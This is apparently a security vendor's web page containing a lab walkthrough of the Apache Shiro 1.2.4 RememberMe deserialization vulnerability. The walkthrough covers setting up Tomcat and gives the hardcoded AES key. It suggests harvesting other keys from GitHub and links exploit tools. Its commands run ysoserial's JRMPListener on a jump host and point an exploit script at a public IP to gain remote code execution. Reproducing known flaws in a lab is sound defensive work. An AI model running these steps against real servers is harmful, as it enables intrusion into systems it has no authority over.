数字医学与健康大会DMHC——美创与您相约古都金陵
2025-08-12
美创科技打造县域医疗灾备新标杆|神木市医院 HIS 系统数据库分钟级切换演练实录
2025-07-02
百万罚单警示!DCAS助力金融机构筑牢数据安全防线,实现监管合规
2025-06-20
2025中国互联网产业年会丨《中国互联网产业绿色算力发展倡议》正式发布
2025-02-07
美创用户专访 | 精细化管理:医疗行业数据分类分级的策略与实践
2025-01-10
存储域
数据库加密 诺亚防勒索访问域
数据库防水坝 数据库防火墙 数据库安全审计 动态脱敏流动域
静态脱敏 数据水印 API审计 API防控 医疗防统方运维服务
数据库运维服务 中间件运维服务 国产信创改造服务 驻场运维服务 供数服务安全咨询服务
数据出境安全治理服务 数据安全能力评估认证服务 数据安全风险评估服务 数据安全治理咨询服务 数据分类分级咨询服务 个人信息风险评估服务 数据安全检查服务环境搭建
Windows 10 64位
Apache Tomcat
Apache Shiro 1.2.4
Oracle JDK 1.8
下载Apache Tomcat,这里下载的是8.5.59的版本
http://tomcat.apache.org/download-80.cgi
下载完成后直接解压,然后到bin目录下双击运行startup.bat启动tomcat。这里注意8080端口不要占用了,否则会启动失败。启动成功后直接访问http://127.0.0.1:8080
出现以下界面为启动成功
下载Apache Shiro 1.2.4的war包:
https://pan.baidu.com/s/1dSHR21IQbrLHpaSQ1TI23A提取码:zg4h。下载完成后解压部署在tomcat的webapps目录下
访问http://127.0.0.1:8080/shiro/login.jsp,shiro部署成功
Apache Shiro 1.2.4反序列化漏洞复现
漏洞介绍:
Apache Shiro 是企业常见的Java安全框架,执行身份验证、授权、密码和会话管理。2016年,曝光出1.2.4以前的版本存在反序列化漏洞。Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。
由于使用了aes加密,要想成功利用漏洞则需要获取aes的加密密钥,而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。
尽管目前已经更新了许多版本,官方并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码,这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。
漏洞复现:
进行登录操作,http://192.168.99.145:8080/shiro/login.jsp
Burpsuite抓包,可以在返回包头部信息中看到rememberMe=deleteMe指纹信息
下载exp和ysoserial,
https://github.com/insightglacier/Shiro_exploit
将ysoserial复制到跳板机上,在跳板机上运行命令:java -cpysoserial.jar ysoserial.exploit.JRMPListener 12580 CommonsCollections4"ping zle58m.dnslog.cn",监听12580端口
在攻击机上运行脚本:python2 shiro_exp.py 121.196.124.61:12580,IP端口为上述跳板机的ip和监听端口,运行成功即生成反序列化payload
将payload复制到burpsuite的cookie请求头中,重放请求
可以看到跳板机监听端口上收到请求
Dnslog成功输出记录
也可以直接用github上的漏洞利用工具进行直接利用:https://github.com/lz520520/railgun